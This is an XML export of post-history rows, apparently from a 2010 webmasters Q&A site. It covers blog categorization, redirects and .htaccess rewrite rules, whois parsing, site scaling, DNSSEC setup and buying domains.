  <row Id="13254" PostHistoryTypeId="2" PostId="6614" RevisionGUID="170dc95f-850c-4589-94a3-eef6c7720f86" CreationDate="2010-12-11T12:54:17.297" UserId="2026" Text="I started a blog some months before. I tried to maintain them in a proper category. So people can search/get contents easily. But now i feel, all the articles are being messed up. &#xD;&#xA;&#xD;&#xA;Please suggest a way, i can categorize them. And i must have not to face 404 problem. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Currently there are around 120 articles on my site.&#xD;&#xA;&#xD;&#xA;Also suggest list of category and subcategory, if someone has.." />
  <row Id="13255" PostHistoryTypeId="1" PostId="6614" RevisionGUID="170dc95f-850c-4589-94a3-eef6c7720f86" CreationDate="2010-12-11T12:54:17.297" UserId="2026" Text="how to re categorize all the articles on my site" />
  <row Id="13256" PostHistoryTypeId="3" PostId="6614" RevisionGUID="170dc95f-850c-4589-94a3-eef6c7720f86" CreationDate="2010-12-11T12:54:17.297" UserId="2026" Text="&lt;blog&gt;" />
  <row Id="13258" PostHistoryTypeId="2" PostId="6615" RevisionGUID="b0ba214d-d1f5-4a93-9fb0-a99f08aa536c" CreationDate="2010-12-11T13:26:27.743" UserId="3823" Text="I have a site where google display sitelinks on search results. I want to implement a new design where all sitelink targets would chage.&#xD;&#xA;&#xD;&#xA;Is that a good idea? Would google drop those links? What would I need to get google update links? For example would permanent redirection of links on new design help?&#xD;&#xA;" />
  <row Id="13259" PostHistoryTypeId="1" PostId="6615" RevisionGUID="b0ba214d-d1f5-4a93-9fb0-a99f08aa536c" CreationDate="2010-12-11T13:26:27.743" UserId="3823" Text="design change and google sitelinks" />
  <row Id="13260" PostHistoryTypeId="3" PostId="6615" RevisionGUID="b0ba214d-d1f5-4a93-9fb0-a99f08aa536c" CreationDate="2010-12-11T13:26:27.743" UserId="3823" Text="&lt;google&gt;&lt;sitelinks&gt;" />
  <row Id="13267" PostHistoryTypeId="2" PostId="6617" RevisionGUID="cbafdd35-4160-455a-8176-1aa529194f54" CreationDate="2010-12-11T15:39:22.953" UserId="233" Text="We're not here to run your site for you. You should decide what categories best suit your site, based on the articles you currently have (and the types of articles you plan to have in the future).&#xD;&#xA;&#xD;&#xA;Regarding the &quot;404 problem&quot;, all you need to is redirect all the old URLs to the new ones. If you only change the names of a category (e.g. `oldcategory/article` to `newcategory/article`) you can use a more generic rewrite rule.&#xD;&#xA;&#xD;&#xA;If articles have moved to all different categories (e.g. `oldcategory/article1` to `newcat1/article1` and `oldcategory/article2` to `newcat2/article2`) then you will need to redirect individual articles." />
  <row Id="13268" PostHistoryTypeId="6" PostId="63" RevisionGUID="75f2ea81-7494-48eb-b634-02031d110aa1" CreationDate="2010-12-11T16:09:17.203" UserId="59" Comment="edited tags" Text="&lt;monitoring&gt;&lt;service&gt;&lt;availability&gt;&lt;notification&gt;" />
  <row Id="13272" PostHistoryTypeId="6" PostId="6614" RevisionGUID="3bf067f7-2035-43d5-9faf-04b3155e97f0" CreationDate="2010-12-11T16:23:17.847" UserId="3142" Comment="edited tags" Text="&lt;url&gt;&lt;blog&gt;" />
  <row Id="13273" PostHistoryTypeId="6" PostId="4723" RevisionGUID="326fba58-4897-46ea-a015-d2439ce87bf8" CreationDate="2010-12-11T16:37:19.510" UserId="3142" Comment="edited tags" Text="&lt;seo&gt;&lt;links&gt;&lt;backlinks&gt;" />
  <row Id="13274" PostHistoryTypeId="6" PostId="6218" RevisionGUID="9d529f8e-e522-4e1a-bccb-5b2d36a15b7f" CreationDate="2010-12-11T16:39:55.107" UserId="3142" Comment="edited tags" Text="&lt;facebook&gt;&lt;links&gt;&lt;social-media&gt;" />
  <row Id="13275" PostHistoryTypeId="2" PostId="6618" RevisionGUID="0d629224-72a4-442b-b212-996df86c7951" CreationDate="2010-12-11T18:50:42.930" UserId="1171" Text="I rewrite my .php files to .htm, using the following code in .htaccess file.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteRule ^(.+)\.htm$ $1.php [NC]&#xD;&#xA;&#xD;&#xA;This is working fine. But now I want to restrict access of .php file directly.  &#xD;&#xA;As example: when people request index.htm he can see the content of index.php file, but if he request index.php then he will get an 404 error. How is it possible?" />
  <row Id="13276" PostHistoryTypeId="1" PostId="6618" RevisionGUID="0d629224-72a4-442b-b212-996df86c7951" CreationDate="2010-12-11T18:50:42.930" UserId="1171" Text="Restrict access of rewriting file using .htaccess" />
  <row Id="13277" PostHistoryTypeId="3" PostId="6618" RevisionGUID="0d629224-72a4-442b-b212-996df86c7951" CreationDate="2010-12-11T18:50:42.930" UserId="1171" Text="&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="13278" PostHistoryTypeId="6" PostId="6488" RevisionGUID="761210cb-1679-42bb-9c1c-7b95144d5dd4" CreationDate="2010-12-11T19:25:13.547" UserId="3142" Comment="edited tags" Text="&lt;html&gt;&lt;css&gt;&lt;fonts&gt;&lt;typography&gt;" />
  <row Id="13279" PostHistoryTypeId="2" PostId="6619" RevisionGUID="0cbdf53a-f4f3-4af0-8e86-cab2b1b2f559" CreationDate="2010-12-11T19:58:01.940" UserId="2930" Text="I want to search for high page rank sites on a particular keyword.Please tell me how can I do so.Thanks" />
  <row Id="13280" PostHistoryTypeId="1" PostId="6619" RevisionGUID="0cbdf53a-f4f3-4af0-8e86-cab2b1b2f559" CreationDate="2010-12-11T19:58:01.940" UserId="2930" Text="How do I find High PR blogs on for a keyword?" />
  <row Id="13281" PostHistoryTypeId="3" PostId="6619" RevisionGUID="0cbdf53a-f4f3-4af0-8e86-cab2b1b2f559" CreationDate="2010-12-11T19:58:01.940" UserId="2930" Text="&lt;seo&gt;" />
  <row Id="13282" PostHistoryTypeId="2" PostId="6620" RevisionGUID="c87cda8f-3ddf-4cdf-a667-720c03a5333a" CreationDate="2010-12-11T20:55:12.023" UserId="2707" Text="Type that keyword into Google. For example if you wanted to see sites that rank well with the keyword Java, you would do this:&#xD;&#xA;&#xD;&#xA;http://lmgtfy.com/?q=Java&#xD;&#xA;&#xD;&#xA;And there you go." />
  <row Id="13283" PostHistoryTypeId="2" PostId="6621" RevisionGUID="25b36235-dfd6-4d22-9bc1-9527e779361d" CreationDate="2010-12-11T20:57:59.697" UserId="1171" Text="I want to implement a rewrite rule in my .htaccess file to show a specific url as a directory of my server. See the code below I written,&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)/$ ?page=$1 [NC]&#xD;&#xA;This will rewrites urls like `www.mysite.com/abc/` to `www.mysite.com/index.php?page=abc`.  &#xD;&#xA;But if I request `www.mysite.com/abc` then it is throwing an 404 error.  &#xD;&#xA;How can I write a rewrite rule which will match `www.mysite.com/abc` and `www.mysite.com/abc/` both?" />
  <row Id="13284" PostHistoryTypeId="1" PostId="6621" RevisionGUID="25b36235-dfd6-4d22-9bc1-9527e779361d" CreationDate="2010-12-11T20:57:59.697" UserId="1171" Text="Rewrite rule to show as directory using .htaccess" />
  <row Id="13285" PostHistoryTypeId="3" PostId="6621" RevisionGUID="25b36235-dfd6-4d22-9bc1-9527e779361d" CreationDate="2010-12-11T20:57:59.697" UserId="1171" Text="&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="13286" PostHistoryTypeId="5" PostId="6583" RevisionGUID="fc54cbea-daf7-4ac8-a910-64a60593650f" CreationDate="2010-12-11T21:25:04.147" UserId="2293" Comment="added 295 characters in body" Text="I don't think reinventing the wheel is the right path.&#xD;&#xA;&#xD;&#xA;There are a lot of standards currently on use. I think if you wanna markup your elements correctly, start from the basis: there is a global HTML attribute named **lang** for this purpose.&#xD;&#xA;&#xD;&#xA;    &lt;html lang='de-de'&gt;&#xD;&#xA;    &lt;html lang='en-us'&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;for an element only&#xD;&#xA;&#xD;&#xA;    &lt;html lang='pt-br'&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;p&gt;Também chamado de &lt;abbr lang='en-us' title='Search Engine Optimization'&gt;SEO&lt;/abbr&gt;...&lt;/p&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Follow some references for your convenience:&#xD;&#xA;&#xD;&#xA; - http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#attr-lang&#xD;&#xA; - http://www.ietf.org/rfc/bcp/bcp47.txt&#xD;&#xA; - http://en.wikipedia.org/wiki/IETF_language_tag&#xD;&#xA; - http://www.w3.org/International/tutorials/language-decl/&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;I'm still not sure if you intend to use this in URL path, in title, or in a select lang widget.&#xD;&#xA;&#xD;&#xA;However, I think keeping some existing convention is the safe path as most people should be used to them. Also, I think flags (countries flags) would be a good choice for a widget." />
  <row Id="13287" PostHistoryTypeId="2" PostId="6622" RevisionGUID="2e6bd310-b8ef-4dda-8e36-7a132ff39d43" CreationDate="2010-12-12T01:41:49.230" UserId="1757" Text="Are you looking for a flash app that lets you design/customize clothing? That's a pretty narrow niche application. Your best bet would be to do as they did and hire a web developer to create one for you." />
  <row Id="13288" PostHistoryTypeId="2" PostId="6624" RevisionGUID="34663554-b711-4c10-8857-8bcab5520f28" CreationDate="2010-12-12T03:25:43.507" UserDisplayName="Jacob Relkin" Text="Offloading database traffic via [sharding][1] is probably one of the best ways to scale a high-traffic site.&#xD;&#xA;&#xD;&#xA;Reducing page load time by compressing resource files using gzip and combining multiple resource files into one to reduce the amount of requests the browser needs to make is also a worthy optimization.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Shard_(database_architecture)" />
  <row Id="13289" PostHistoryTypeId="2" PostId="6623" RevisionGUID="4faa6389-4386-44be-a336-9e3052730ed3" CreationDate="2010-12-12T03:22:31.353" UserDisplayName="PeterBZ" Text="How do sites like Facebook and Twitter optimize their sites for massive traffic.  Aside from spending big bucks on getting the best servers, what can be optimized in your code to accommodate massive traffic?&#xD;&#xA;&#xD;&#xA;I've read about caching your pages to static HTML, but that's impractical for social networking sites where the pages are constantly updated." />
  <row Id="13290" PostHistoryTypeId="1" PostId="6623" RevisionGUID="4faa6389-4386-44be-a336-9e3052730ed3" CreationDate="2010-12-12T03:22:31.353" UserDisplayName="PeterBZ" Text="How big sites scale up and optimize to massive traffic?" />
  <row Id="13291" PostHistoryTypeId="3" PostId="6623" RevisionGUID="4faa6389-4386-44be-a336-9e3052730ed3" CreationDate="2010-12-12T03:22:31.353" UserDisplayName="PeterBZ" Text="&lt;optimization&gt;&lt;web-traffic&gt;&lt;high-traffic&gt;" />
  <row Id="13292" PostHistoryTypeId="17" PostId="6623" RevisionGUID="d4c1535f-d55e-40f8-b7f8-45ddbbb8cd36" CreationDate="2010-12-12T03:36:33.630" UserId="-1" Comment="from http://stackoverflow.com/questions/4420260/how-big-sites-scale-up-and-optimize-to-massive-traffic" Text="" />
  <row Id="13293" PostHistoryTypeId="5" PostId="6614" RevisionGUID="35902a5d-c6c9-4546-932e-7dae1c6916dd" CreationDate="2010-12-12T07:17:57.543" UserId="2026" Comment="to make it more specific" Text="I started a blog some months before. I tried to maintain them in a proper category. So people can search/get contents easily. But now i feel, all the articles are being messed up. &#xD;&#xA;&#xD;&#xA;Please suggest a way, i can categorize them. And i must have not to face 404 problem. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Currently there are around 120 articles on my site.&#xD;&#xA;&#xD;&#xA;Please suggest any generic list of category and subcategory which can suite to most of the website , if someone has..&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="13294" PostHistoryTypeId="2" PostId="6625" RevisionGUID="c893511e-f2ff-42e9-b436-bb164b3baf30" CreationDate="2010-12-12T09:18:22.847" UserId="2237" Text="Massive sites like Google, Facebook and Twitter don't necessarily get the 'best' servers in that they don't run a small number of high-powered servers, they run a massive number of smaller and cheaper servers. They expect hardware to die and be replaced and the code allows for that.&#xD;&#xA;&#xD;&#xA;Some things that are typical in massive scale sites:&#xD;&#xA;&#xD;&#xA; - They don't use SQL databases like mySQL. Instead they key-value stores like HBase or Cassandra. mySQL and other SQL DBs are too slow when the numbers of requests are huge.&#xD;&#xA; - They cache as much as possible. HTML caching as you say. User's data is stored in memory using things like memcached.&#xD;&#xA; - Some sites, like Reddit, pre-cache pages before a user has even requested it.&#xD;&#xA; - Pre-calculate as much as possible, sites tend to work out stuff like your number of friends (or whatever) and cache that too - a little as possible is done dynamically.&#xD;&#xA;&#xD;&#xA;[http://highscalability.com/][1] is a great site to learn more about this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://highscalability.com/" />
  <row Id="13295" PostHistoryTypeId="2" PostId="6626" RevisionGUID="a972a5ac-7c3a-4b3d-9209-37e5287e0a19" CreationDate="2010-12-12T09:39:33.420" UserId="908" Text="Thought I'd mention [HipHop for PHP](https://github.com/facebook/hiphop-php/wiki/), which turns PHP into C++ and [was developed by Facebook](http://developers.facebook.com/blog/post/358). Facebook did some work on [APC](http://www.php.net/manual/en/intro.apc.php) as well I believe." />
  <row Id="13296" PostHistoryTypeId="2" PostId="6627" RevisionGUID="012e8c48-535c-48f6-a113-78f5b67b76d9" CreationDate="2010-12-12T10:29:03.010" UserId="2026" Text="like phpBB, vBulletin you can find more forum scripts on [best-php-scripts][1]. As per their rating and reviews you can decide some for your need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://best-php-scripts.com/forum_scripts.htm" />
  <row Id="13297" PostHistoryTypeId="2" PostId="6628" RevisionGUID="83a2f2bd-5704-4365-b542-23d93149ffb0" CreationDate="2010-12-12T10:50:19.130" UserDisplayName="Christian Gabriel C." Text="On Google I observed that they actually download your sitemap every 2 or 3 days automatically. The only time I'd find logical to resubmit it would be when I add extra pages to the site and obviously to the sitemap.xml itself, although ... theoretically should the site changes be reflected properly in the sitemap.xml we shouldn't really need to resubmit the sitemap (but only upload it) since Google will make the updates automatically.&#xD;&#xA;This is more of a question ..." />
  <row Id="13298" PostHistoryTypeId="2" PostId="6629" RevisionGUID="26879b60-144d-42bc-96c8-a504ec3d5662" CreationDate="2010-12-12T11:01:57.320" UserDisplayName="Josh" Text="I personally use Vanilla as well, and used to use phpBB before. Both are easy to use and highly customizable if you read the documentation.&#xD;&#xA;&#xD;&#xA;Also, [Wikipedia's comparison of PHP forum software][3] has a few more suggestions and lists some common functionality.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Comparison_of_Internet_forum_software_(PHP)" />
  <row Id="13299" PostHistoryTypeId="2" PostId="6630" RevisionGUID="2bd31024-24f1-4ca3-8e67-d7001fc5d314" CreationDate="2010-12-12T12:02:10.157" UserDisplayName="JP19" Text="I am trying to write a script to fetch whois information for a bunch of sites. I am facing two problems:&#xD;&#xA;&#xD;&#xA;1) whois command arbitrarily returns fgets/connection reset errors. Trying multiple times for a site often works but is very ugly.&#xD;&#xA;&#xD;&#xA;2) The data returned doesnt seem to be in standard format.  For example, for my current list, all domains are registered by one of 4 registrars. However, the registrar entry has various formats:&#xD;&#xA;&#xD;&#xA;    Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM&#xD;&#xA;    Registrar: GODADDY.COM, INC.&#xD;&#xA;    Registrar: NETFIRMS, INC.&#xD;&#xA;    Sponsoring Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM Created by Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM Last Updated by Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM&#xD;&#xA;    Sponsoring Registrar: GODADDY.COM, INC. Created by Registrar: GODADDY.COM, INC. Last Updated by Registrar: GODADDY.COM, INC.&#xD;&#xA;    Sponsoring Registrar:#1 Indian Domains dba Mitsu.in (R74-AFIN)&#xD;&#xA;    Sponsoring Registrar:Business Solutions (R54-AFIN)&#xD;&#xA;    Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. d/b/a PublicDomainRegistry.com (R27-LROR)&#xD;&#xA;    Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)&#xD;&#xA;    Sponsoring Registrar:GoDaddy.com, Inc. (146) Created by Registrar:GoDaddy.com, Inc. (146) Last Updated by Registrar:Afilias Ltd. (4000017)&#xD;&#xA;    Sponsoring Registrar:GoDaddy.com, Inc. (R91-LROR)&#xD;&#xA;    Sponsoring Registrar:IN Registrar d.b.a. inregistrar.com (R123-AFIN)&#xD;&#xA;    Sponsoring Registrar:Netfirms, Inc. (R1427-LROR)&#xD;&#xA;    Sponsoring Registrar:eNom, Inc. (R126-LRMS)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there any way to reliably get the fields like expiration date and registrar for a domain (I am willing to write custom php scripts).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;regards,&#xD;&#xA;&#xD;&#xA;JP&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13300" PostHistoryTypeId="1" PostId="6630" RevisionGUID="2bd31024-24f1-4ca3-8e67-d7001fc5d314" CreationDate="2010-12-12T12:02:10.157" UserDisplayName="JP19" Text="reliable way to get whois information in standard format" />
  <row Id="13301" PostHistoryTypeId="3" PostId="6630" RevisionGUID="2bd31024-24f1-4ca3-8e67-d7001fc5d314" CreationDate="2010-12-12T12:02:10.157" UserDisplayName="JP19" Text="&lt;whois&gt;" />
  <row Id="13302" PostHistoryTypeId="2" PostId="6631" RevisionGUID="dc46c8fd-48ff-424f-9550-42d35c874a09" CreationDate="2010-12-12T12:33:02.997" UserId="3467" Text="    RewriteRule ^(.*)(/)?$ ?page=$1 [NC]&#xD;&#xA;&#xD;&#xA;Should do it. The `(/)?` checks for 0 or 1 slash. It should work so that if there is a slash, it's not added to the $1 part but if there is none there's not a problem either." />
  <row Id="13303" PostHistoryTypeId="2" PostId="6632" RevisionGUID="1bad5032-f563-4dc9-8b5f-8d028fa3b114" CreationDate="2010-12-12T12:58:34.210" UserId="9301" Text="What is the best blog engine that runs on Google App Engine?" />
  <row Id="13304" PostHistoryTypeId="1" PostId="6632" RevisionGUID="1bad5032-f563-4dc9-8b5f-8d028fa3b114" CreationDate="2010-12-12T12:58:34.210" UserId="9301" Text="What is the best blog engine that runs on Google App Engine" />
  <row Id="13305" PostHistoryTypeId="3" PostId="6632" RevisionGUID="1bad5032-f563-4dc9-8b5f-8d028fa3b114" CreationDate="2010-12-12T12:58:34.210" UserId="9301" Text="&lt;google-app-engine&gt;" />
  <row Id="13306" PostHistoryTypeId="2" PostId="6633" RevisionGUID="9fef72a5-4075-4f8b-ba47-9847cdaa9308" CreationDate="2010-12-12T14:26:37.113" UserId="2237" Text="If you make sure that your old URLs redirect to the new ones then you should be OK. Your old page should redirect to the new one using HTTP status of 301 &quot;moved permanently&quot;.&#xD;&#xA;&#xD;&#xA;If you don't put the redirects in then all existing links are broken and Google *may* see your new URLs as duplicate content of the old and not rank them so well." />
  <row Id="13307" PostHistoryTypeId="2" PostId="6634" RevisionGUID="df7c19d7-a841-4fdc-b224-4b3bb26a5a29" CreationDate="2010-12-12T14:31:58.930" UserId="2237" Text="If I was going to tackle that I would use jQuery and the HTML5 canvas element. Using Canvas does limit the browsers you can use though.&#xD;&#xA;&#xD;&#xA;[http://en.wikipedia.org/wiki/Canvas_element][1]&#xD;&#xA;&#xD;&#xA;Doubt there's any existing code for that as it's very bespoke but you might be able to find a Canvas-drawing jQuery plugin that could be modified.&#xD;&#xA;&#xD;&#xA;To be honest, I don't think it'd be that hard, it'd just be drawing pre-defined clothes on top of each other.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Canvas_element" />
  <row Id="13308" PostHistoryTypeId="2" PostId="6635" RevisionGUID="89cbd12b-2061-4a48-927a-b9b8fde8cf15" CreationDate="2010-12-12T14:35:42.717" UserId="2237" Text="I think it's a reasonable question to ask. The sites with the highest PR don't necessary all sit at the top of the Google rankings. I've actually been looking for something similar because I want to find high PR sites for a certain keyword so I can see where the link-love is coming from for that keyword.&#xD;&#xA;&#xD;&#xA;I'm gonna sign up for this in the new year in the hope that it will help: [http://www.seomoz.org/cart/purchase_select][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/cart/purchase_select" />
  <row Id="13309" PostHistoryTypeId="2" PostId="6636" RevisionGUID="75df2636-48b4-4132-becb-d4f07aad9795" CreationDate="2010-12-12T14:47:45.073" UserId="2237" Text="    RewriteRule .*\.php /404.htm&#xD;&#xA;&#xD;&#xA;That's untested but basically I would redirect *.php to 404.htm and then create a 404.php to cater for that. Put this rule above your .htm to .php rule." />
  <row Id="13310" PostHistoryTypeId="2" PostId="6637" RevisionGUID="a31c6484-5890-41fe-adf4-a7827da3d431" CreationDate="2010-12-12T15:04:26.793" UserId="1279" Text="I suggest using Google Apps -&gt; Google Sites. It lets you easily configure a blog.&#xD;&#xA;&#xD;&#xA;For GAE, there are some engines out there, but none of the in the league of Google Sites or Wordpress:&#xD;&#xA;http://stackoverflow.com/questions/1086465/blog-engine-for-google-app-engine" />
  <row Id="13311" PostHistoryTypeId="5" PostId="6631" RevisionGUID="f90bc420-01af-485d-84b9-83a2caa09d64" CreationDate="2010-12-12T15:29:51.850" UserId="3467" Comment="added 73 characters in body; deleted 4 characters in body" Text="**update**&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)/$ ?page=$1 [NC,L]&#xD;&#xA;    RewriteCond %{QUERY_STRING} !page&#xD;&#xA;    RewriteRule ^(.*)$ ?page=$1 [NC,L]&#xD;&#xA;&#xD;&#xA;This first rewrites urls with a slash, and if that's not found it rewrites urls without one (but only if it didn't already have a ?page indicator).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13313" PostHistoryTypeId="2" PostId="6639" RevisionGUID="efeab4c7-3f5b-4a59-8afc-95c5f7f49a58" CreationDate="2010-12-12T17:34:12.387" UserDisplayName="user3845" Text="How about Plimsus?" />
  <row Id="13314" PostHistoryTypeId="2" PostId="6640" RevisionGUID="56df73d1-dc54-478c-a315-a2efd84b230d" CreationDate="2010-12-12T18:37:35.057" UserId="2293" Text="If you explore the code from the page you post, you'll see that they use jquery with a jquery plugin on the left panel.&#xD;&#xA;&#xD;&#xA;Reproduce the body part should be a matter of replacing images (my first option would be follow with Ajax to make the requests), and correct alignment with CSS (positions and z-indexes).&#xD;&#xA;&#xD;&#xA;Despite I'm a HTML5 enthusiast, I think using canvas at this point is not the best options, as browser support is not wide enough, and development with that is kind overhelm yet. Go with simple, safe and straight-to-the-point solution." />
  <row Id="13315" PostHistoryTypeId="2" PostId="6641" RevisionGUID="7dff52db-a974-4006-a328-4a44862080a9" CreationDate="2010-12-12T19:16:36.973" UserDisplayName="Doug A" Text="Upkeep is easy but if you are using the Community feature of Squarespace you can not easily do email campaigns to your groups with out exporting (every time) to a third party email list manager. I am considering moving off SQ SP because of this.&#xD;&#xA;" />
  <row Id="13316" PostHistoryTypeId="2" PostId="6642" RevisionGUID="47ae0dfe-1895-4d6d-8112-aefb8630f10d" CreationDate="2010-12-12T20:48:22.800" UserId="5137" Text="theres is something called as Dynamic Application Acceleration offered by Akamai" />
  <row Id="13317" PostHistoryTypeId="2" PostId="6644" RevisionGUID="99911440-1a86-42bd-a44c-f9634f68f901" CreationDate="2010-12-12T22:36:20.293" UserDisplayName="Skorpioh" Text="Usually you can find registred but not actively used domains at websites like [www.sedo.com][1]. This particular domain does not show up as being available for sale, but then again you could use the brokerage services offered by sedo to post an inquiry to the domain holder if he/she would be willing to sell it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sedo.com" />
  <row Id="13318" PostHistoryTypeId="2" PostId="6643" RevisionGUID="5333efa3-012c-45ae-b99a-b3f1816dff2a" CreationDate="2010-12-12T22:28:32.110" UserDisplayName="Ian Messiter" Text="How can I buy the domain name `www.autospell.com`. &#xD;&#xA;It seems to have a weird status with no website, but also it is not available to buy." />
  <row Id="13319" PostHistoryTypeId="1" PostId="6643" RevisionGUID="5333efa3-012c-45ae-b99a-b3f1816dff2a" CreationDate="2010-12-12T22:28:32.110" UserDisplayName="Ian Messiter" Text="How do I buy this domain name?" />
  <row Id="13320" PostHistoryTypeId="3" PostId="6643" RevisionGUID="5333efa3-012c-45ae-b99a-b3f1816dff2a" CreationDate="2010-12-12T22:28:32.110" UserDisplayName="Ian Messiter" Text="&lt;web&gt;&lt;websites&gt;&lt;domains&gt;&lt;registration&gt;" />
  <row Id="13321" PostHistoryTypeId="17" PostId="6643" RevisionGUID="1972428d-6919-4a77-8ccb-fd116ffbcd9e" CreationDate="2010-12-12T22:38:28.327" UserId="-1" Comment="from http://stackoverflow.com/questions/4424462/how-do-i-buy-this-domain-name" Text="" />
  <row Id="13322" PostHistoryTypeId="2" PostId="6645" RevisionGUID="092204c4-2a2c-4d79-b059-110c6741f606" CreationDate="2010-12-12T22:39:30.107" UserId="1647" Text="WHOIS service doesn't follow any standard.&#xD;&#xA;&#xD;&#xA;I know it very well because I'm the maintainer of the [Ruby Whois library][1].&#xD;&#xA;The goal of the library is to provide a OOP way to parse and get Whois details for a domain name.&#xD;&#xA;&#xD;&#xA;Give the library a try. Unfortunately, there's no similar tool in PHP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ruby-whois.org/" />
  <row Id="13323" PostHistoryTypeId="2" PostId="6646" RevisionGUID="648b93d0-81fc-429a-bbe3-67b52f677588" CreationDate="2010-12-13T00:13:06.147" UserId="3843" Text="There are two separate elements to make DNSSEC work. &#xD;&#xA;&#xD;&#xA; 1. Generate keys and sign the DNS records.&#xD;&#xA; 1. Put the hash of the key in your parent zone (`.se` for `example.se`) via the [DS record][1].&#xD;&#xA;&#xD;&#xA;The latter is possible with .se and a growing number of other TLDs (refer to [DNSSEC deployment on wikipedia][2] or subscribe to the [dnssec-deployment mailing list][3]).&#xD;&#xA;&#xD;&#xA;In regards to the DIY part of the question: there are quite a few ways to implement DNSSEC for your zone. Current DNS servers already come with DNSSEC support, but still, you have to do the above steps. If you really want to do it yourself, you can use the [Bind Tools][4] (keygen and signzone) or something like the [OpenDNSSEC][5] suite.&#xD;&#xA;&#xD;&#xA;There are also some providers that offer DNSSEC in their portfolio, but usually you will have to transfer your domain to them or use something like DNSSEC in the middle. You might want to have a look at the [recently published Phreebird][7] by Kaminsky which sits right in front of your normal DNS server and performs signing. I would recommend [exanames][6] which is designed to do as much of the work related to DNSSEC as possible, but I am biased, because I am one of the developers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc3658&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/DNSSEC#Deployment&#xD;&#xA;  [3]: http://dnssec-deployment.org/pipermail/dnssec-deployment/&#xD;&#xA;  [4]: http://www.isc.org/software/bind/dnssec&#xD;&#xA;  [5]: http://www.opendnssec.org/&#xD;&#xA;  [6]: http://exanames.com/&#xD;&#xA;  [7]: http://www.darkreading.com/authentication/167901072/security/application-security/228200646/index.html" />
  <row Id="13324" PostHistoryTypeId="2" PostId="6647" RevisionGUID="9702b1b4-53b6-4982-a6a8-0d40f65d81fd" CreationDate="2010-12-13T01:58:52.797" UserId="3578" Text="I would like to create a blog site with features like Engadget.  The editor can upload blog and albums while users can comment.  I know it's even easier to use blogspot but it's blocked in China.  &#xD;&#xA;&#xD;&#xA;I have tried Joomla before.  It seems a bit slow even after removing most of the modules and the memcache plugin doesn't help much either.  Is there any other option?  Do I need other plugins to run WordPress as blog?" />
  <row Id="13325" PostHistoryTypeId="1" PostId="6647" RevisionGUID="9702b1b4-53b6-4982-a6a8-0d40f65d81fd" CreationDate="2010-12-13T01:58:52.797" UserId="3578" Text="CMS for Blog site" />
  <row Id="13326" PostHistoryTypeId="3" PostId="6647" RevisionGUID="9702b1b4-53b6-4982-a6a8-0d40f65d81fd" CreationDate="2010-12-13T01:58:52.797" UserId="3578" Text="&lt;cms&gt;&lt;blog&gt;" />
  <row Id="13327" PostHistoryTypeId="2" PostId="6648" RevisionGUID="24bb5549-8104-4eb1-aa6d-52c0341ec522" CreationDate="2010-12-13T03:10:55.467" UserId="3817" Text="I still have a few sites running on Drupal 5, and I'd rather upgrade directly to 7 when it comes out. I figure it's probably not going to be a supported upgrade path, but still, has anyone tried this (with the betas or RCs), and what should I look out for?" />
  <row Id="13328" PostHistoryTypeId="1" PostId="6648" RevisionGUID="24bb5549-8104-4eb1-aa6d-52c0341ec522" CreationDate="2010-12-13T03:10:55.467" UserId="3817" Text="Jumping from Drupal 5 to 7" />
  <row Id="13329" PostHistoryTypeId="3" PostId="6648" RevisionGUID="24bb5549-8104-4eb1-aa6d-52c0341ec522" CreationDate="2010-12-13T03:10:55.467" UserId="3817" Text="&lt;drupal&gt;" />
  <row Id="13330" PostHistoryTypeId="2" PostId="6649" RevisionGUID="8b5f2788-160d-47db-a0c0-db3aea383290" CreationDate="2010-12-12T23:47:50.800" UserDisplayName="nalroff" Text="I have moved the files over to the site (which I developed locally) using the File Manager in cPanel, but I can't seem to get any different result on the page itself. The error message is remaining constant (as if I've not done anything at all) and I know this is incorrect. I double checked to make sure I did the upload to the right place, but there is no change in the error message. I am using shared hosting under Magentopolis." />
  <row Id="13331" PostHistoryTypeId="1" PostId="6649" RevisionGUID="8b5f2788-160d-47db-a0c0-db3aea383290" CreationDate="2010-12-12T23:47:50.800" UserDisplayName="nalroff" Text="New hosting on Magentopolis" />
